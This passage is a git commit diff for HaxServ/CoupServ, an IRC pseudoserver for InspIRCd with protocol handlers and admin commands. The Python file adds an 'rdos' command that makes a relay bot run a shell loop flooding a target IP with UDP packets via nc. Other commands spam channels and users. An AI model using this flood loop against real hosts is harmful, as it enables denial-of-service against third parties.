nukes

5 files changed, 981 insertions, 14 deletions

diff --git a/CoupServ.lua b/CoupServ.lua
new file mode 100755
index 0000000..1da6281
--- /dev/null
+++ b/CoupServ.lua
@@ -0,0 +1,170 @@
+#!/usr/bin/env lua
+--[[
+
+Main program for HaxServ, a pseudoserver for inspircd3.
+
+Written by: Test_User <hax@andrewyu.org>
+
+This is free and unencumbered software released into the public
+domain.
+
+Anyone is free to copy, modify, publish, use, compile, sell, or
+distribute this software, either in source code form or as a compiled
+binary, for any purpose, commercial or non-commercial, and by any
+means.
+
+In jurisdictions that recognize copyright laws, the author or authors
+of this software dedicate any and all copyright interest in the
+software to the public domain. We make this dedication for the benefit
+of the public at large and to the detriment of our heirs and
+successors. We intend this dedication to be an overt act of
+relinquishment in perpetuity of all present and future rights to this
+software under copyright law.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+OTHER DEALINGS IN THE SOFTWARE.
+]]
+
+path = arg[0]:sub(1, -arg[0]:reverse():find('/'))
+
+socket = require("socket")
+json = require("json")
+ssl = require("ssl")
+
+servlist = {}
+userlist = {}
+chanlist = {}
+
+function has_permission(user, privs)
+	privs = privs or {}
+	for _, v in pairs(privs) do
+		if v == "Admin" then
+			if user.opertype ~= "Admin" then
+				return false
+			end
+		elseif v == "Owner" then				-- not dealing with this yet, so just always return false for now
+			return false
+		else							-- unknown priv, naturally no one has it
+			return false
+		end
+	end
+	return true
+end
+
+config_file = io.open(path.."CoupServConfig.json", "r+")
+config = json.decode(config_file:read("*a"))
+
+for file, _ in pairs(config.files) do
+	dofile(path..file)
+end
+
+stdin = socket.tcp()
+stdin:close()
+stdin:setfd(0) --clearly a hack but it works
+
+while true do
+	servlist = {}
+	userlist = {}
+	chanlist = {}
+
+	local s = socket.tcp()
+	s:connect("irc.andrewyu.org", 7005)
+	local con = ssl.wrap(s, {mode = "client", protocol = "tlsv1_3"})
+
+	print(con:dohandshake())
+
+	con:send("SERVER hax.irc.andrewyu.org "..config.send_password.." 0 1HC :HaxServ\n")
+	con:send("BURST "..tostring(os.time()).."\n")
+	con:send("UID 1HC000000 "..tostring(os.time()).." "..config.nick.." hax.irc.andrewyu.org "..config.hostmask.." HaxServ 192.168.1.1 "..tostring(os.time()).." +k :HaxServ\n")
+	con:send(":1HC000000 OPERTYPE Admin\n")
+	for channel, _ in pairs(config.channels) do
+		con:send("FJOIN "..channel.." "..tostring(os.time()).." + :,1HC000000\n")
+		con:send("MODE "..channel.." +o 1HC000000\n")
+	end
+	con:send("ENDBURST\n")
+
+	local proceed = true
+	while proceed do
+		ready, _, err = socket.select({con, stdin}, {}, 300)
+		if err then
+			con:send("")	-- hack to make it properly timeout due to annoying bugs
+		end
+
+		for _, sock in ipairs(ready) do
+			if sock == con then
+				local msg, err = con:receive()
+
+				local original = msg
+
+				if err then
+					proceed = false
+					break
+				end
+
+				local source = nil
+				if msg:sub(1, 1) == ":" then
+					source = msg:sub(2):match("^[^ ]*")
+					msg = msg:sub(string.len(source) + 3) -- 1 for the leading ':', 1 for the trailing ' ', and 1 for the offset
+				end
+
+				local lastarg = msg:match(" :.*")
+				if lastarg ~= nil then
+					msg = msg:sub(1, -string.len(lastarg) - 1) -- only offset
+					lastarg = lastarg:sub(3)
+				end
+
+				local args = {}
+				for arg in msg:gmatch("[^ ]*") do
+					table.insert(args, arg)
+				end
+
+				local command = args[1]
+				table.remove(args, 1)
+
+				if lastarg ~= nil then
+					table.insert(args, lastarg)
+				end
+
+				if message_handler[command] then
+					local success, stop = pcall(message_handler[command], con, source, args, original)
+					if success and stop then
+						proceed = false
+						break
+					elseif not success then
+						print(stop)
+					end
+				else
+					print("Unhandled command:", ("%q"):format(original))
+				end
+			elseif sock == stdin then
+				msg = io.stdin:read()
+				local args = {}
+				for arg in msg:gmatch("[^ ]*") do
+					table.insert(args, arg)
+				end
+				local command = args[1]:upper()
+				table.remove(args, 1)
+
+				if stdin_commands[command] then
+					local success, err = pcall(stdin_commands[command], con, msg, args)
+					if not success then
+						print(err)
+					elseif err then
+						proceed = false
+						break
+					end
+				else
+					print("Unknown command.")
+				end
+			end
+		end
+		if err then break end
+	end
+
+	con:close()
+end
diff --git a/CoupServ.py b/CoupServ.py
index 51780fe..64a9f6d 100755
--- a/CoupServ.py
+++ b/CoupServ.py
@@ -27,6 +27,71 @@ except FileNotFoundError:
 	print("No config found! Please make one then try again")
 	exit()
 
+rickroll = """We're no strangers to love
+You know the rules, and so do I
+A full commitment is what I'm thinking of
+You wouldn't get this from any other guy
+
+I just wanna tell you how I'm feeling
+Gotta make you, understand
+
+Never gonna give you up
+Never gonna let you down
+Never gonna run around and desert you
+
+Never gonna make you cry
+Never gonna say goodbye
+Never gonna tell a lie, and hurt you
+
+We've known each other, for so long
+Your heart's been aching but, you're too shy to say it
+Inside we both know what's been going on
+We know the game and we're gonna play it
+
+And if you ask me how I'm feeling
+Don't tell me you're too hot to see
+
+Never gonna give you up
+Never gonna let you down
+Never gonna run around, and desert you
+
+Never gonna make you cry
+Never gonna say goodbye
+never gonna tell a lie, and hurt you
+
+Never gonna give you up
+Never gonna let you down
+Never gonna run around, and desert you
+
+Never gonna make you cry
+Never gonna say goodbye
+never gonna tell a lie, and hurt you
+
+Give you up
+Never gonna give, never gonna give
+Give you up
+Never gonna give, never gonna give
+
+We've known each other, for so long
+Your heart's been aching but, you're too shy to say it
+Inside we both know what's been going on
+We know the game and we're gonna play it
+
+I just wanna tell you how I'm feelin
+Gotta make you, understand
+Never gonna give you up
+Never gonna let you down
+Never gonna run around, and desert you
+Never gonna make you cry
+Never gonna say goodbye
+never gonna tell a lie, and hurt you
+Never gonna give you up
+Never gonna let you down
+Never gonna run around, and desert you
+Never gonna make you cry
+Never gonna say goodbye
+never gonna tell a lie, and hurt you"""
+
 s=ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
 
 s.connect(("irc.andrewyu.org", 7005))
@@ -52,11 +117,18 @@ def read_and_send():
 
 threading.Thread(target=read_and_send, daemon=True).start()
 
+def detect_broken():
+	while True:
+		send("")
+		time.sleep(15)
+
+threading.Thread(target=detect_broken, daemon=True).start()
+
 try:
 	while True:
 		newmsg = recv()
 		if newmsg == "":
-			break
+			os._exit(1)
 		msg += newmsg
 		split_msg = msg.split("\n")
 		if len(split_msg) < 2:
@@ -80,18 +152,18 @@ try:
 				send(":"+args[1]+" PONG "+args[1]+" "+source)
 			elif command == "SERVER":
 				if source != "":
-					print("Received SERVER from another source!")
 					continue
-				if config["recv_password"] != args[1]:
-					print("Received invalid password from the server!")
-					exit()
-				send("BURST "+str(math.floor(time.time())))
-				send("UID 1HC000000 "+str(math.floor(time.time()))+" "+config["nick"]+" hax.irc.andrewyu.org LibreIRC/services/HaxServ™ HaxServ 192.168.1.1 "+str(math.floor(time.time()))+" +BHILkrio :HaxServ")
-				send(":1HC000000 OPERTYPE Admin")
-				for channel in config["channels"]:
-					send("FJOIN "+channel+" "+str(math.floor(time.time()))+" + :,1HC000000")
-					send("MODE "+channel+" +o 1HC000000")
-				send("ENDBURST")
+				else:
+					if config["recv_password"] != args[1]:
+						print("Received invalid password from the server!")
+						os._exit()
+					send("BURST "+str(math.floor(time.time())))
+					send("UID 1HC000000 "+str(math.floor(time.time()))+" "+config["nick"]+" hax.irc.andrewyu.org LibreIRC/services/HaxServ™ HaxServ 192.168.1.1 "+str(math.floor(time.time()))+" +Bk :HaxServ")
+					send(":1HC000000 OPERTYPE Admin")
+					for channel in config["channels"]:
+						send("FJOIN "+channel+" "+str(math.floor(time.time()))+" + :,1HC000000")
+						send("MODE "+channel+" +o 1HC000000")
+					send("ENDBURST")
 			elif command == "UID":
 				userlist[args[0]] = {
 					"server": source,
@@ -130,12 +202,14 @@ try:
 								resp = source
 								chan = False
 
-							cmd = args[1].split(" ")[0]
+							cmd = args[1].split(" ")[0].lower()
 							argv = args[1].split(" ")[1:]
 
 							send(":1HC000000 PRIVMSG "+config["log_chan"]+" :"+userlist[source]["nick"]+" executed command: "+args[1])
 
-							if cmd[0] == ":":
+							if len(cmd) == 0:
+								continue
+							elif cmd[0] == ":":
 								send(args[1])
 							elif cmd == "get":
 								if argv[0] == "uid":
@@ -148,9 +222,47 @@ try:
 										send(":1HC000000 PRIVMSG "+resp+" :"+userlist[argv[1]]["nick_ts"])
 									except KeyError:
 										send(":1HC000000 PRIVMSG "+resp+" :UID not found!")
+							elif cmd == "jupe":
+								send("RSQUIT :"+argv[0])
+								send(":1HC SERVER "+argv[0]+" * 0 010 :No")
+							elif cmd == "sanick":
+								send(":1HC000000 SANICK "+argv[0]+" :"+" ".join(argv[1:]))
+							elif cmd == "nggyu":
+								for line in rickroll.split("\n"):
+									send(":1HC000000 PRIVMSG "+argv[0]+" :"+line)
+							elif cmd == "rdos":
+								send(':1HC PRIVMSG lurk :.sh while true; do printf "nggyu" | nc -q 0 -u '+argv[0]+' $RANDOM; done &')
+							elif cmd == "spam":
+								for _ in range(0, int(argv[1])):
+									send(":1HC PRIVMSG "+argv[0]+" :"+" ".join(argv[2:]))
+							elif cmd == "join":
+								send(":1HC000000 FJOIN "+argv[0]+" "+str(math.floor(time.time()))+" + :,1HC000000")
+								config["channels"][argv[0]] = True # actual value doesn't matter
+								save()
+							elif cmd == "part":
+								send(":1HC000000 PART "+resp)
+								del config["channels"][resp]
+								save()
+							elif cmd == "op":
+								if chan:
+									try:
+										send(":1HC000000 MODE "+chan+" +o "+argv[0])
+									except IndexError:
+										send(":1HC000000 MODE "+chan+" +o "+source)
+
+					if args[1] == "nggyu":
+						if args[0][0] == "#":
+							resp = args[0]
+						else:
+							resp = source
+
+						for line in rickroll.split("\n"):
+							send(":1HC000000 PRIVMSG "+resp+" :"+line)
+
 				except KeyError:
 					pass
 
 except Exception as e:
 	config_file.close()
 	raise e
+
diff --git a/commands.lua b/commands.lua
new file mode 100644
index 0000000..dfad669
--- /dev/null
+++ b/commands.lua
@@ -0,0 +1,396 @@
+--[[
+
+Commands file for HaxServ.
+
+Written by: Test_User <hax@andrewyu.org>
+
+This is free and unencumbered software released into the public
+domain.
+
+Anyone is free to copy, modify, publish, use, compile, sell, or
+distribute this software, either in source code form or as a compiled
+binary, for any purpose, commercial or non-commercial, and by any
+means.
+
+In jurisdictions that recognize copyright laws, the author or authors
+of this software dedicate any and all copyright interest in the
+software to the public domain. We make this dedication for the benefit
+of the public at large and to the detriment of our heirs and
+successors. We intend this dedication to be an overt act of
+relinquishment in perpetuity of all present and future rights to this
+software under copyright law.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+OTHER DEALINGS IN THE SOFTWARE.
+]]
+
+local rickroll = {
+	"We're no strangers to love",
+	"You know the rules, and so do I",
+	"A full commitment is what I'm thinking of",
+
+	"You wouldn't get this from any other guy",
+
+	"I just wanna tell you how I'm feeling",
+	"Gotta make you, understand",
+
+	"Never gonna give you up",
+	"Never gonna let you down",
+	"Never gonna run around and desert you",
+
+	"Never gonna make you cry",
+	"Never gonna say goodbye",
+	"Never gonna tell a lie, and hurt you",
+
+	"We've known each other, for so long",
+	"Your heart's been aching but, you're too shy to say it",
+	"Inside we both know what's been going on",
+	"We know the game and we're gonna play it",
+
+	"And if you ask me how I'm feeling",
+	"Don't tell me you're too blind to see",
+
+	"Never gonna give you up",
+	"Never gonna let you down",
+	"Never gonna run around, and desert you",
+
+	"Never gonna make you cry",
+	"Never gonna say goodbye",
+	"never gonna tell a lie, and hurt you",
+
+	"Never gonna give you up",
+	"Never gonna let you down",
+	"Never gonna run around, and desert you",
+
+	"Never gonna make you cry",
+	"Never gonna say goodbye",
+	"never gonna tell a lie, and hurt you",
+
+	"Give you up",
+	"Never gonna give, never gonna give",
+	"Give you up",
+	"Never gonna give, never gonna give",
+
+	"We've known each other, for so long",
+	"Your heart's been aching but, you're too shy to say it",
+	"Inside we both know what's been going on",
+	"We know the game and we're gonna play it",
+
+	"I just wanna tell you how I'm feelin",
+	"Gotta make you, understand",
+	"Never gonna give you up",
+	"Never gonna let you down",
+	"Never gonna run around, and desert you",
+	"Never gonna make you cry",
+	"Never gonna say goodbye",
+	"never gonna tell a lie, and hurt you",
+	"Never gonna give you up",
+	"Never gonna let you down",
+	"Never gonna run around, and desert you",
+	"Never gonna make you cry",
+	"Never gonna say goodbye",
+	"never gonna tell a lie, and hurt you",
+}
+
+
+commands = {
+	["SANICK"] = {
+		func = function(con, user, cmd, args, resp)
+			if #args < 2 then
+				con:send(":1HC000000 NOTICE "..resp.." :Not enough args.\n")
+			else
+				con:send("SANICK "..args[1].." :"..table.concat(args, " ", 2).."\n")
+			end
+		end,
+		privs = {"Admin"},
+		args = "<target> <new nick>",
+	},
+
+	["RELOAD"] = {
+		func = function(con, user, cmd, args, resp)
+			if #args == 0 then
+				config_file:seek("set", 0)
+				local success, value_or_err = pcall(json.decode, config_file:read("*a"))
+				if success then
+					config = value_or_err
+					con:send(":1HC000000 NOTICE "..resp.." :Successfully reloaded config.json\n")
+				else
+					con:send(":1HC000000 NOTICE "..resp.." :Unable to reload config.json, check /dev/stdout for details.\n")
+					print("config.json")
+					print(value_or_err)
+				end
+
+				for file, _ in pairs(config.files) do
+					local success, err = pcall(dofile, path..file)
+					if success then
+						con:send(":1HC000000 NOTICE "..resp.." :Successfully reloaded "..file.."\n")
+					else
+						con:send(":1HC000000 NOTICE "..resp.." :Unable to reload "..file..", check /dev/stdout for details.\n")
+						print(file)
+						print(err)
+					end
+				end
+			else
+				local file = args[1]..".lua"
+				if config.files[file] then
+					local success, err = pcall(dofile, path..file)
+					if success then
+						con:send(":1HC000000 NOTICE "..resp.." :Successfully reloaded "..file.."\n")
+					else
+						con:send(":1HC000000 NOTICE "..resp.." :Unable to reload "..file..", check /dev/stdout for details.\n")
+						print(file)
+						print(err)
+					end
+				elseif args[1] == "config" then
+					config_file:seek("set", 0)
+					local success, value_or_err = pcall(json.decode, config_file:read("*a"))
+					if success then
+						config = value_or_err
+						con:send(":1HC000000 NOTICE "..resp.." :Successfully reloaded config.json\n")
+					else
+						con:send(":1HC000000 NOTICE "..resp.." :Unable to reload config.json, check /dev/stdout for details.\n")
+						print("CoupServConfig.json")
+						print(value_or_err)
+					end
+				else
+					con:send(":1HC000000 NOTICE "..resp.." :Invalid section.\n")
+				end
+			end
+		end,
+		privs = {"Admin"},
+		args = "[<section>]",
+	},
+
+	["NGGYU"] = {
+		func = function(con, user, cmd, args, resp)
+			if #args == 0 then
+				for _, line in pairs(rickroll) do
+					con:send(":1HC000000 PRIVMSG "..resp.." :"..line.."\n")
+				end
+			else
+				for _, line in pairs(rickroll) do
+					con:send(":1HC000000 PRIVMSG "..args[1].." :"..line.."\n")
+				end
+			end
+		end,
+		privs = {"Admin"},
+		args = "[<target>]",
+	},
+
+	["RECONNECT"] = {
+		func = function(con, user, cmd, args, resp)
+			return true
+		end,
+		privs = {"Admin"},
+	},
+
+	[":"] = {
+		func = function(con, user, cmd, args, resp)
+			con:send(table.concat(args, " ").."\n")
+		end,
+		privs = {"Admin"},
+		args = "<raw IRC message>",
+	},
+
+	["HELP"] = {
+		func = function(con, user, cmd, args, resp)
+			for command, tbl in pairs(commands) do
+				if has_permission(userlist[user], tbl.privs) then
+					if tbl.args then
+						con:send(":1HC000000 NOTICE "..resp.." :"..command.." "..tbl.args.."\n")
+					else
+						con:send(":1HC000000 NOTICE "..resp.." :"..command.."\n")
+					end
+				end
+			end
+		end,
+	},
+
+	["SHUTDOWN"] = {
+		func = function(con, user, cmd, args, resp)
+			local crash_me = nil
+			crash_me()
+		end,
+		privs = {"Owner"},
+	},
+
+	["SPAM"] = {
+		func = function(con, user, cmd, args, resp)
+			if #args < 3 then
+				con:send(":1HC000000 NOTICE "..resp.." :Not enough args.\n")
+			elseif tonumber(args[2]) == nil then
+				con:send(":1HC000000 NOTICE "..resp.." :"..args[2]..": Not a valid positive integer.\n")
+			elseif tonumber(args[2]) < 1 then
+				con:send(":1HC000000 NOTICE "..resp.." :"..args[2]..": Not a valid positive integer.\n")
+			elseif tonumber(args[2]) > 1000 then
+				con:send(":1HC000000 NOTICE "..resp.." :"..args[2]..": Too large of a number, max is 1000.\n")
+			else
+				local msg = ":1HC000000 PRIVMSG "..args[1].." :"..table.concat(args, " ", 3).."\n"
+				for i=1, tonumber(args[2]), 1 do
+					con:send(msg)
+				end
+			end
+		end,
+		privs = {"Admin"},
+		args = "<target> <count> <message>",
+	},
+
+	["OP"] = {
+		func = function(con, user, cmd, args, resp)
+			if resp:sub(1, 1) ~= "#" then
+				con:send(":1HC000000 NOTICE "..resp.." :This command must be executed within a channel.\n")
+				return
+			end
+
+			if #args == 0 then
+				con:send(":1HC000000 MODE "..resp.." +o "..user.."\n")
+			else
+				con:send(":1HC000000 MODE "..resp.." +o "..args[1].."\n")
+			end
+		end,
+		privs = {"Admin"},
+		args = "[<target>]",
+	},
+
+	["GETUID"] = {
+		func = function(con, user, cmd, args, resp)
+			if #args == 0 then
+				con:send(":1HC000000 NOTICE "..resp.." :"..user.."\n")
+			else
+				local nick = table.concat(args, " ")
+				for uid, tbl in pairs(userlist) do
+					if tbl.nick == nick then
+						con:send(":1HC000000 NOTICE "..resp.." :"..uid.."\n")
+						return
+					end
+				end
+				con:send(":1HC000000 NOTICE "..resp.." :Nick not found.\n")
+			end
+		end,
+		args = "[<nick>]",
+	},
+
+	["PRINT"] = {
+		func = function(con, user, cmd, args, resp)
+			if #args == 0 then
+				con:send(":1HC000000 NOTICE "..resp.." :Not enough args.\n")
+			else
+				local list
+				if args[1] == "userlist" then
+					list = userlist
+				elseif args[1] == "chanlist" then
+					list = chanlist
+				elseif args[1] == "servlist" then
+					list = servlist
+				else
+					con:send(":1HC000000 NOTICE "..resp.." :Unknown list.\n")
+					return
+				end
+
+				for k, v in pairs(list) do
+					local msg = {}
+					for key, val in pairs(v) do
+						table.insert(msg, "["..(type(key) == "string" and ("%q"):format(key) or tostring(key)).."] = "..(type(val) == "string" and ("%q"):format(val) or tostring(val)))
+					end
+					print("["..(type(k) == "string" and ("%q"):format(k) or tostring(k)).."] = {"..table.concat(msg, ", ").."}")
+				end
+			end
+		end,
+		privs = {"Admin"},
+		args = "<list>",
+	},
+
+	["GETUSERINFO"] = {
+		func = function(con, user, cmd, args, resp)
+			if #args == 0 then
+				args[1] = source
+			end
+
+			if userlist[args[1]] then
+				local msg = {}
+				for key, val in pairs(userlist[args[1]]) do
+					table.insert(msg, "["..(type(key) == "string" and ("%q"):format(key) or tostring(key)).."] = "..(type(val) == "string" and ("%q"):format(val) or tostring(val)))
+				end
+				con:send(":1HC000000 PRIVMSG "..resp.." :{"..table.concat(msg, ", ").."}\n")
+			else
+				con:send(":1HC000000 PRIVMSG "..resp.." :Nonexistant UID\n")
+			end
+		end,
+		privs = {"Admin"},
+		args = "[<UID>]",
+	},
+
+	["GETNICK"] = {
+		func = function(con, user, cmd, args, resp)
+			if userlist[args[1]] then
+				con:send(":1HC000000 NOTICE "..resp.." :"..userlist[args[1]].nick.."\n")
+			else
+				con:send(":1HC000000 NOTICE "..resp.." :Nonexistant UID\n")
+			end
+		end,
+		args = "[<UID>]",
+	},
+
+	["JUPE"] = {
+		func = function(con, user, cmd, args, resp)
+			if #args == 0 then
+				con:send(":1HC000000 NOTICE "..resp.." :Not enough args.\n")
+			else
+				for id, tbl in pairs(servlist) do
+					if tbl.address == args[1] then
+						con:send("RSQUIT "..args[1].." :"..table.concat(args, " ", 2).."\n")
+						con:send(":1HC SERVER "..args[1].." * 0 "..id.." :Juped.\n")
+						return
+					end
+				end
+				con:send(":1HC000000 NOTICE "..resp.." :Server not found.\n")
+			end
+		end,
+		privs = {"Admin"},
+		args = "<server>",
+	},
+
+	["ALLOW"] = {
+		func = function(con, user, cmd, args, resp)
+			if #args == 0 then
+				con:send(":1HC000000 NOTICE "..resp.." :Not enough args.\n")
+			else
+				for id, tbl in pairs(userlist) do
+					if tbl.nick == args[1] then
+						userlist[id].opertype = "Admin"
+						con:send(":1HC000000 NOTICE "..resp.." :"..args[1].." is now considered an oper.\n")
+						return
+					end
+				end
+				con:send(":1HC000000 NOTICE "..resp.." :Nick not found.\n")
+			end
+		end,
+		privs = {"Admin"},
+		args = "<user>",
+	},
+
+	["DENY"] = {
+		func = function(con, user, cmd, args, resp)
+			if #args == 0 then
+				con:send(":1HC000000 NOTICE "..resp.." :Not enough args.\n")
+			else
+				for id, tbl in pairs(userlist) do
+					if tbl.nick == args[1] then
+						userlist[id].opertype = nil
+						con:send(":1HC000000 MODE "..id.." -o\n")
+						con:send(":1HC000000 NOTICE "..resp.." :"..args[1].." is no longer an oper.\n")
+						return
+					end
+				end
+				con:send(":1HC000000 NOTICE "..resp.." :Nick not found.\n")
+			end
+		end,
+		privs = {"Admin"},
+		args = "<user>",
+	},
+}
diff --git a/network.lua b/network.lua
new file mode 100644
index 0000000..fbeb168
--- /dev/null
+++ b/network.lua
@@ -0,0 +1,175 @@
+--[[
+
+Network protocol file for HaxServ.
+
+Written by: Test_User <hax@andrewyu.org>
+
+This is free and unencumbered software released into the public
+domain.
+
+Anyone is free to copy, modify, publish, use, compile, sell, or
+distribute this software, either in source code form or as a compiled
+binary, for any purpose, commercial or non-commercial, and by any
+means.
+
+In jurisdictions that recognize copyright laws, the author or authors
+of this software dedicate any and all copyright interest in the
+software to the public domain. We make this dedication for the benefit
+of the public at large and to the detriment of our heirs and
+successors. We intend this dedication to be an overt act of
+relinquishment in perpetuity of all present and future rights to this
+software under copyright law.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+OTHER DEALINGS IN THE SOFTWARE.
+]]
+
+local function parse_modes(modes, args, has_args, current)
+	local dir = "-"
+	for i = 1, #modes do
+		local mode = modes:sub(i, i)
+
+		if mode == "+" or mode == "-" then
+			dir = mode
+		elseif has_args[mode] and has_args[mode][dir] then
+			if not args[1] then return false end
+
+			if dir == "+" then
+				current[mode] = (type(current[mode]) == "table" and current[mode] or {})
+				current[mode][args[1]] = true
+			else
+				if current[mode] then
+					current[mode][args[1]] = nil
+				end
+			end
+			table.remove(args, 1)
+		else
+			current[mode] = (dir == "+" and true or nil)
+		end
+	end
+	return true
+end
+
+message_handler = {
+	["PING"] = function(con, source, args, original)
+		con:send(":"..args[2].." PONG "..args[2].." "..source.."\n")
+	end,
+
+	["SERVER"] = function(con, source, args, original)
+		if source then
+			servlist[args[4]] = {address = args[1], distance = args[3] + 1 + servlist[source].distance, name = args[5], metadata = {}}
+		else
+			servlist[args[4]] = {address = args[1], distance = args[3], name = args[5], metadata = {}}
+		end
+	end,
+
+	["METADATA"] = function(con, source, args, original)
+		if args[1] == "*" then
+			if servlist[source] then
+				servlist[source].metadata[args[2]] = args[3]
+			else
+				print("Got metadata command from an unknown server!\n")
+			end
+		elseif args[1]:sub(1, 1) == "#" then
+			print(string.format("%q", original))
+			print("Channels not yet handled!\n")
+		else
+			if userlist[args[1]] then
+				userlist[args[1]].metadata[args[2]] = args[3]
+			else
+				print("Got metadata for an unknown user!\n")
+			end
+		end
+	end,
+
+	["UID"] = function(con, source, args, original)
+		userlist[args[1]] = {
+			server = source,
+			nick_ts = args[2],
+			nick = args[3],
+			hostname = args[4],
+			vhost = args[5],
+			ident = args[6],
+			ip = args[7],
+			user_ts = args[8],
+			modes = {},
+			realname = args[-1], -- last one is safer as any extra are arguments to umodes (or protocol violations, but at that point nothing is a safe option)
+
+			metadata = {}, -- controlled by METADATA network commands
+		}
+
+		if not parse_modes(args[9], {table.unpack(args, 10, #args-1)}, {["s"] = {["+"] = true, ["-"] = false}}, userlist[args[1]].modes) then return true end
+	end,
+
+	["OPERTYPE"] = function(con, source, args, original)
+		if userlist[source] then
+			userlist[source].opertype = args[1]
+		else
+			print("Server "..source.." attempted to set OPERTYPE on a nonexistent user!\n")
+		end
+	end,
+
+	["NICK"] = function(con, source, args, original)
+		print(string.format("%q", original))
+		if userlist[source] then
+			userlist[source].nick = args[1]
+			userlist[source].nick_ts = args[2]
+		end
+	end,
+
+	["PRIVMSG"] = function(con, source, args, original)
+		print(string.format("%q", original))
+		local cmd_args = {}
+		for part in args[2]:gmatch("[^ ]*") do
+			table.insert(cmd_args, part)
+		end
+		cmd = cmd_args[1]:upper()
+		table.remove(cmd_args, 1)
+
+		local resp
+		if args[1]:sub(1, 1) == "#" then
+			resp = args[1]
+
+			if cmd:sub(1, 1) ~= "-" then return end
+
+			cmd = cmd:sub(2) -- remove leading '-'
+		else
+			resp = source
+		end
+
+		if commands[cmd] then
+			if has_permission(userlist[source], commands[cmd].privs) then
+				return commands[cmd].func(con, source, cmd, cmd_args, resp)
+			else
+				con:send(":1HC000000 NOTICE "..resp.." :You are not authorized to execute that command.\n")
+			end
+		else
+			con:send(":1HC000000 NOTICE "..resp.." :Unknown command: "..cmd.."\n")
+		end
+	end,
+
+	["MODE"] = function(con, source, args, original)
+		print(string.format("%q", original))
+		if args[1]:sub(1, 1) == "#" then
+			print("Channels not handled yet!\n")
+		else
+			if not userlist[args[1]] then
+				print("Attempted to set mode on an unknown user!\n")
+			elseif not parse_modes(args[2], {table.unpack(args, 3)}, {["s"] = {["+"] = true, ["-"] = false}}, userlist[args[1]].modes) then
+				return true
+			elseif not userlist[args[1]].modes.o then
+				userlist[args[1]].opertype = nil
+			end
+		end
+	end,
+
+	["QUIT"] = function(con, source, args, original)
+		print(string.format("%q", original))
+		userlist[source] = nil
+	end,
+}
diff --git a/stdin.lua b/stdin.lua
new file mode 100644
index 0000000..78a67b4
--- /dev/null
+++ b/stdin.lua
@@ -0,0 +1,114 @@
+--[[
+
+Network protocol file for HaxServ.
+
+Written by: Test_User <hax@andrewyu.org>
+
+This is free and unencumbered software released into the public
+domain.
+
+Anyone is free to copy, modify, publish, use, compile, sell, or
+distribute this software, either in source code form or as a compiled
+binary, for any purpose, commercial or non-commercial, and by any
+means.
+
+In jurisdictions that recognize copyright laws, the author or authors
+of this software dedicate any and all copyright interest in the
+software to the public domain. We make this dedication for the benefit
+of the public at large and to the detriment of our heirs and
+successors. We intend this dedication to be an overt act of
+relinquishment in perpetuity of all present and future rights to this
+software under copyright law.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+OTHER DEALINGS IN THE SOFTWARE.
+]]
+
+stdin_commands = {
+	[":"] = function(con, msg, args)
+		con:send(msg:sub(3).."\n")
+	end,
+
+	["RELOAD"] = function(con, msg, args)
+		if #args == 0 then
+			config_file:seek("set", 0)
+			local success, value_or_err = pcall(json.decode, config_file:read("*a"))
+			if success then
+				config = value_or_err
+				print("Successfully reloaded config.json")
+			else
+				print("Unable to reload config.json")
+				print(value_or_err)
+			end
+
+			for file, _ in pairs(config.files) do
+				local success, err = pcall(dofile, path..file)
+				if success then
+					print("Successfully reloaded "..file)
+				else
+					print("Unable to reload "..file)
+					print(err)
+				end
+			end
+		else
+			local file = args[1]..".lua"
+			if config.files[file] then
+				local success, err = pcall(dofile, path..file)
+				if success then
+					print("Successfully reloaded "..file)
+				else   
+					print("Unable to reload "..file)
+					print(err)
+				end
+			elseif args[1] == "config" then
+				config_file:seek("set", 0)
+				local success, value_or_err = pcall(json.decode, config_file:read("*a"))
+				if success then
+					config = value_or_err
+					print("Successfully reloaded config.json")
+				else
+					print("Unable to reload config.json")
+					print(value_or_err)
+				end
+			else
+				print("Invalid section.")
+			end
+		end
+	end,
+
+        ["ALLOW"] = function(con, msg, args)
+		if #args == 0 then
+			print("Not enough args.")
+		else
+			for id, tbl in pairs(userlist) do
+				if tbl.nick == args[1] then
+					userlist[id].opertype = "Admin"
+					print(args[1].." is now considered an oper.")
+					return
+				end   
+			end
+			print("Nick not found.")
+		end
+	end,
+
+        ["DENY"] = function(con, msg, args)
+		if #args == 0 then
+			print("Not enough args.")
